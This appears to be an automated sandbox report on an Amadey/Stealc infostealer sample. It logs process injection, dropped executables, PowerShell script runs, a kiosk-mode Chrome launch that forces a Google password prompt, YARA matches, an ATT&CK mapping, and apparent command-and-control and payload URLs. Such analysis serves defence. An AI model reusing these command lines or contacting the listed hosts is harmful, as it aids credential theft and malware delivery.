Source: Yara match	File source: Process Memory Space: 8a145ab7b3.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cee706a53f.exe PID: 2100, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00D870A0 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,

8_2_00D870A0

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Memory written: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000026002\cee706a53f.exe "C:\Users\user\1000026002\cee706a53f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000033142\so.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data

Source: 8a145ab7b3.exe, 8a145ab7b3.exe, 0000000A.00000002.2064717193.0000000001168000.00000040.00000001.01000000.00000009.sdmp, cee706a53f.exe, cee706a53f.exe, 0000000B.00000002.2112264717.0000000000B38000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe	Binary or memory string: BProgram Manager
Source: skotes.exe, skotes.exe, 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00D9D3E2 cpuid

8_2_00D9D3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000026002\cee706a53f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000026002\cee706a53f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000032042\ko.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\1000033142\so.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\1000026002\cee706a53f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\1000026002\cee706a53f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00D9CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

8_2_00D9CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00D865E0 LookupAccountNameA,

8_2_00D865E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 8.2.skotes.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000003.1924584689.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1435177507.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1516020745.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1508409621.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1466599045.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1474161213.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1475811914.0000000000631000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 24.2.8a145ab7b3.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.cee706a53f.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.8a145ab7b3.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.cee706a53f.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.8a145ab7b3.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cee706a53f.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2062372153.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2541355264.0000000001AA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2330683116.0000000005660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2156402720.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2023916641.00000000054E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2065676534.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2199902950.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2336894310.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2064455494.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2501696781.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2243981246.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2247836152.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2428473626.000000000177B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2244884023.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2338351590.000000000121B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2413577862.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2426500171.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2500617596.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2539828537.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2111985097.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8a145ab7b3.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cee706a53f.exe PID: 2100, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 24.2.8a145ab7b3.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.skotes.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.cee706a53f.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.8a145ab7b3.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.cee706a53f.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.8a145ab7b3.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cee706a53f.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2062372153.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2541355264.0000000001AA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2330683116.0000000005660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2156402720.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2023916641.00000000054E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2065676534.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2199902950.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2336894310.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2064455494.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2501696781.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2243981246.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2247836152.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2428473626.000000000177B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2244884023.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2338351590.000000000121B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2413577862.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2426500171.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2500617596.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2539828537.0000000000D81000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2111985097.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8a145ab7b3.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cee706a53f.exe PID: 2100, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	212 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	261 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	212 Process Injection	NTDS	261 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	234 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\1000026002\cee706a53f.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\1000026002\cee706a53f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Packed.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
youtube-ui.l.google.com	172.217.18.14	true	false	unknown
google.com	142.250.185.206	true	false	unknown
www3.l.google.com	142.250.186.78	true	false	unknown
play.google.com	142.250.185.174	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.185.129	true	false	unknown
youtube.com	142.250.186.46	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
accounts.youtube.com	unknown	unknown	false	unknown
chrome.google.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://clients2.googleusercontent.com/crx/blobs/AY4GWKCjSWa8TD5HR0ssoNSHmv1DlGbxavvv4f4_vreCQV6o4JdgbhTns13WqVLfraA3idGD1YqVFdL1d29hUkKmBRQxeBB8OW5ZEZvDIDLLC0_H7OAK-03clOTMdE15SKgAxlKa5Za-otUDEb42n7phqLA20ygc_Y63/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_9_1_1.crx	false	unknown
https://www.google.com/favicon.ico	false	unknown
https://clients2.googleusercontent.com/crx/blobs/AY4GWKDHKllS27BO_e8bCnbax_jg8ytdTG4Uzua5Kte91Msonmjt9Ssh1u4j53F3UYy-997sHknkzKEy9994XId3zBBDiju_YSunzv5QYwyL8XEx9VuF26n3JIgkmCYaLzIAxlKa5UdUDZoPCHdwU63c7rFT0JUxfsWG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_82_1_0.crx	false	unknown
http://185.215.113.37/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 0000000E.00000003.2180517325.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2213172379.00005C6C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2180042651.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2214723208.00005C6C00F30000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/coacbE	chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2222052019.00005C6C01520000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 0000000E.00000003.2181545127.00005C6C002B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Consent_HoldbackARA_limited_Stable_20230926l	chrome.exe, 0000000E.00000003.2113166040.00000B6C0154C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/I	chrome.exe, 0000000E.00000003.2113302405.00000B6C01554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2114036167.00000B6C0155C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/steam/random.exeC:	skotes.exe, 00000008.00000002.2697000883.0000000001409000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpk	cee706a53f.exe, 0000000B.00000002.2115108597.0000000001340000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/(L	chrome.exe, 0000000E.00000003.2246256796.00005C6C02344000.00000004.00000800.00020000.00000000.sdmp	false		unknown
